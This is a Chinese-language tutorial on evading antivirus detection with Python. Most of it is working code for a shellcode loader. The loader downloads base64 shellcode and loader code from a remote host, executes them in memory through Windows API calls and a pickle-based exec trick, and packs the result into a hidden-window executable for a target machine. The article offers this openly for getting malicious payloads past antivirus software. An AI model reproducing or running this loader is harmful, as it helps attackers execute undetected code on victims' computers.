利用Python实现静态免杀:保护你的Shellcode
在网络安全领域,静态免杀技术一直备受关注。本文将介绍如何使用Python进行静态免杀,以确保你的Shellcode在执行过程中不被杀毒软件所检测到。
准备工作
首先,我们需要生成Shellcode,并对其进行加密。我们将Shellcode放置在服务器上,并加密存储在pythonBS64shellcode.txt
文件中。
import urllib.request import base64 # 从服务器获取Shellcode并进行加密 shellcode = urllib.request.urlopen('http://192.168.5.38/shellcode.txt').read() shellcode = base64.b64decode(shellcode.strip())
加载Shellcode
接下来,我们从服务器加载Shellcode,并在本地执行它。
import ctypes # 加载Shellcode ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40)) buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(ptr), buf, ctypes.c_int(len(shellcode))) # 执行Shellcode handle = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0), ctypes.c_int(0), ctypes.c_uint64(ptr), ctypes.c_int(0), ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
加密加载器代码
现在,我们需要加密加载器代码,并存储在loader.txt
文件中。加载器代码负责从服务器下载加密的Shellcode,并在本地执行。
import urllib.request import base64 import pickle # 从服务器获取加载器代码并解密 loader_code = urllib.request.urlopen('http://192.168.5.38/loader.txt').read() loader_code = base64.b64decode(loader_code).decode("utf-8") # 加载并执行加载器代码 class A(object): def __reduce__(self): return (exec, (loader_code,)) # 序列化加载器代码 loader_pickle = pickle.dumps(A()) loader_base64 = base64.b64encode(loader_pickle) loader_decode = base64.b64decode(loader_base64) pickle.loads(loader_decode)
打包成可执行文件
最后,我们可以使用PyInstaller将Python脚本打包成可执行文件,以便在目标机器上运行。
pyinstaller -F -w py_ma.py
结果展示
通过以上步骤,我们成功实现了静态免杀,保护了我们的Shellcode免受杀毒软件的检测。
暂无评论内容